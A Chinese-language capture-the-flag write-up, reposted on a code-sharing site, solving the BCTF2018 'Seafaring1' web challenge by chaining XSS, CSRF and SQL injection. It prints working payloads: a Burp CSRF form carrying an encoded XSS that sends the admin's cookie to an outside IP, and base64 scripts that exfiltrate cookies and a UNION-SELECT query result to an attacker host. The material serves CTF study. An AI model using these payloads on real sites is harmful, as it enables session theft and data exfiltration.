XSS+CSRF思考(BCTF2018 - Seafaring1)


項目地址:https://github.com/blue-lotus/BCTF2018/tree/master/web/Seafaring

看WP一天了,最后還是一知半解只能放棄(生草),時間不等人還有其他事要辦

前排排錯:

1.需要賦予/docker_files/start.sh文件777的權限

2.需要修改/checker/checker.py中的URL為自己的,出題人MD文件里也闡明了

3.docker-compose.yml文件的錯誤

出題人上傳時沒有仔細修改過docker搭建文件,搭建時和自己環境有出入

搭建bug,將下面注釋刪除,

否則遠程瀏覽器的容器會沒有訪問端口映射:

正確情況:

4./selenium文件夾下的run.sh需要修改URL地址

 

 

Seafaring1

當年BCTF2018題目上線的時候有hint:robots.txt

1.首先掃后台

訪問/admin/handle_message.php抓包

{"result":"","error":"CSRFToken  ''is not correct"}
curl 上面的后台題目地址

發現出題人故意把html代碼都顯示了

結合剛剛的token,查找有用的代碼如下:

curl 地址/admin/index.php:

發現會泄露一些異步加載的API和參數

<script>
    function view_uid(uid) {
        $.ajax({
            type: "POST",
            url: "/admin/handle_message.php",
            data: {"token": csrf_token, "action": "view_uid", "uid": uid},
            dataType: "json",
            success: function (data) {
                if (!data["error"]) {
                    data = data['result'];
                    var Status = '';
                    $('#timestamp').text(data['timestamp']);
                    $('#username').text(data['user_name']);
                    $('#message').text(data['message']);
                    document.getElementById("replyuid").value=data['uid'];
                    if (parseInt(data['is_checked']) == 1) {
                        Status = '<div style="color:#04FF00">Checked</div>';
                    } else {
                        Status = '<div style="color:#FFA500">Not Checked</div>';
                    }
                    document.getElementById("status").innerHTML = Status;
                }
                else
                    alert('Error: ' + data["error"]);
            }
        });
    }

    function view_unreads() {
        $.ajax({
            type: "POST",
            url: "/admin/handle_message.php",
            data: {"token": csrf_token, "action": "view_unreads", "status": 0},
            dataType: "json",
            success: function (data) {
                if (!data["error"]) {
                    data = data['result'];
                    var html = '';
                    var tbody = document.getElementById("comments");
                    for (var i = 0; i < data.length; i++) {
                        var Time = data[i][0];
                        var Username = data[i][1];
                        var Uid = data[i][2];
                        var Status = '';
                        if (parseInt(data[i][3]) == 1) {
                            Status = '<div style="color:#04FF00">Checked</div>';
                        } else {
                            Status = '<div style="color:#FFA500">Not Checked</div>';
                        }
                        html += "<tr> <td > <center> " + Time + " </center></td> <td> <center> " + Username + " </center></td> <td> <center> <a onclick = view_uid('" + Uid + "') > " + Uid + " </a></center> </td> <td> <center> " + Status + " </center></td> </tr>"
                    }
                    tbody.innerHTML = html;
                }
                else
                    alert('Error: ' + data["error"]);
            }
        });
    }

    function set_reply() {
        var uid = document.getElementById("replyuid").value;
        var  reply =  document.getElementById("replymessage").value;
        $.ajax({
            type: "POST",
            url: "/admin/handle_message.php",
            data: {"token": csrf_token, "action": "set_reply", "uid": uid, "reply": reply},
            dataType: "json",
            success: function (data) {
                if (!data["error"]) {
                    data = data['result'];
                    alert('Succ: ' + data);
                }
                else
                    alert('Error: ' + data["error"]);
            }
        });
    }

    function load_all() {
        $.ajax({
            type: "POST",
            url: "/admin/handle_message.php",
            data: {"token": csrf_token, "action": "load_all"},
            dataType: "json",
            success: function (data) {
                if (!data["error"]) {
                    data = data['result'];
                    var html = '';
                    var tbody = document.getElementById("comments");
                    for (var i = 0; i < data.length; i++) {
                        var Time = data[i][0];
                        var Username = data[i][1];
                        var Uid = data[i][2];
                        var Status = '';
                        if (parseInt(data[i][3]) == 1) {
                            Status = '<div style="color:#04FF00">Checked</div>';
                        } else {
                            Status = '<div style="color:#FFA500">Not Checked</div>';
                        }
                        html += "<tr> <td > <center> " + Time + " </center></td> <td> <center> " + Username + " </center></td> <td> <center> <a onclick = view_uid('" + Uid + "') > " + Uid + " </a></center> </td> <td> <center> " + Status + " </center></td> </tr>"
                    }
                    tbody.innerHTML = html;
                }
                else
                    alert('Error: ' + data["error"]);
            }
        });
    }
    setTimeout(load_all, 1000);
</script>

 多試一下POST和GET傳token的值,POST時會在頁面顯示token

懷疑可以XSS,看有沒有過濾

‘/’被過濾了,嘗試img標簽實現XSS

 

2.內網訪問

注冊用戶時會有一個MD5截斷驗證的輸入

#!/usr/bin/env python
import hashlib


def md5(s):
    return hashlib.md5(s.encode("utf8")).hexdigest()


for i in range(1, 9999999):
    if md5(str(i)).startswith('600C'):
        print(i)

題目應該是有什么問題,就去題目文件里面看了,出題人是提前把數字對應的MD5寫到了文件里

最后發現是MD5對於大小寫敏感的問題,把所有頁面顯示的字母替換為小寫即可

注冊登錄

能提交網址給管理員查看,管理員會使用遠程selenium瀏覽Message中的網址

我們可以用CSRF讓其訪問內網文件

 

3.組合拳XSS+CSRF+SQL注入

使用burp生成CSRF的POC

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body onload="document.forms[0].submit()">
  <script>history.pushState('', '', '/')</script>
    <form action="(換成自己配置的網址)URL/admin/handle_message.php" method="POST">
      <input type="hidden" name="action" value="view&#95;unreads" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="token" value="d096148ee0d3cf1&apos;&lt;svg&#32;onload&#61;&apos;img&#32;&#61;&#32;new&#32;Image&#40;&#41;&#59;&#32;img&#46;src&#61;String&#46;fromCharCode&#40;104&#44;&#32;116&#44;&#32;116&#44;&#32;112&#44;&#32;58&#44;&#32;47&#44;&#32;47&#44;&#32;50&#44;&#32;48&#44;&#32;50&#44;&#32;46&#44;&#32;49&#44;&#32;49&#44;&#32;50&#44;&#32;46&#44;&#32;53&#44;&#32;49&#44;&#32;46&#44;&#32;49&#44;&#32;51&#44;&#32;48&#44;&#32;58&#44;&#32;57&#44;&#32;48&#44;&#32;57&#44;&#32;48&#44;&#32;47&#44;&#32;63&#44;&#32;122&#44;&#32;61&#41;&#46;concat&#40;btoa&#40;document&#46;cookie&#41;&#41;&#59;&apos;&gt;&apos;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

或是自己寫好一個放到服務器上,提交網址讓管理員訪問獲取cookie,中間的XSS代碼用base64加密了以防被轉義

<form method="post" action="配置的網址/admin/handle_message.php"> <input name="token" value="<svg onload=document.write(atob('PHNjcmlwdD4KbG9jYXRpb249Imh0dHA6Ly96em0uY2F0OjgwODAvP2M9Iitlc2NhcGUoZG9jdW1lbnQuY29va2llKTsKPC9zY3JpcHQ+'))>"> </form> <script> document.forms[0].submit(); </script>

flag在內網數據庫內,只能管理員訪問因此需要正確的csrf_token

在發掘時注意到status參數可進行注入

function view_unreads() {
        $.ajax({
            type: "POST",
            url: "/admin/handle_message.php",
            data: {"token": csrf_token, "action": "view_unreads", "status": 0},
            dataType: "json",

同理

<form method="post" action="配置的網址/admin/handle_message.php"> <input name="token" value="<svg onload=document.write(atob('PHNjcmlwdD4KdmFyIGFhID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CmFhLm9wZW4oJ0dFVCcsICdodHRwOi8vc2VhZmFyaW5nLnhjdGYub3JnLmNuOjk5OTkvY29udGFjdC5waHAnLCBmYWxzZSk7CmFhLnNlbmQoKTsKYmIgPSBhYS5yZXNwb25zZVRleHQ7CnRva2VuID0gYmIubWF0Y2goL2NzcmZfdG9rZW4gPSAiKFx3KykiLylbMV07Cgp2YXIgYSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwphLm9wZW4oJ1BPU1QnLCAnaHR0cDovL3NlYWZhcmluZy54Y3RmLm9yZy5jbjo5OTk5L2FkbWluL2hhbmRsZV9tZXNzYWdlLnBocCcsIGZhbHNlKTsKYS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKYS5zZW5kKCJ0b2tlbj0iK3Rva2VuKyImYWN0aW9uPXZpZXdfdW5yZWFkcyZzdGF0dXM9LTEgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCAqIGZyb20gZjExMTExMWFnKSwzLDQjIik7CmIgPSBhLnJlc3BvbnNlVGV4dDsKbG9jYXRpb24uaHJlZiA9ICdodHRwOi8venptLmNhdDo4MDgwLzQwNC5waHA/dG9rZW49Jyt0b2tlbisnJmNvbnRlbnQ9JyArIGVzY2FwZShiKTsKPC9zY3JpcHQ+'))>"> </form> <script> document.forms[0].submit(); </script> <!-- base64內容如下: <script> var aa = new XMLHttpRequest(); aa.open('GET', 'http://seafaring.xctf.org.cn:9999/contact.php', false); aa.send(); bb = aa.responseText; token = bb.match(/csrf_token = "(w+)"/)[1]; var a = new XMLHttpRequest(); a.open('POST', 'http://seafaring.xctf.org.cn:9999/admin/handle_message.php', false); a.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); a.send("token="+token+"&action=view_unreads&status=-1 union select 1,(select * from f111111ag),3,4#"); b = a.responseText; location.href = 'http://zzm.cat:8080/404.php?token='+token+'&content=' + escape(b); </script> -->

最后得到flag

 

參考:https://www.cnhackhy.com/38558.html

參考:https://moxiaoxi.info/ctf/2018/12/01/BCTF2018seafaring/

參考:https://xz.aliyun.com/t/3470#toc-3


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM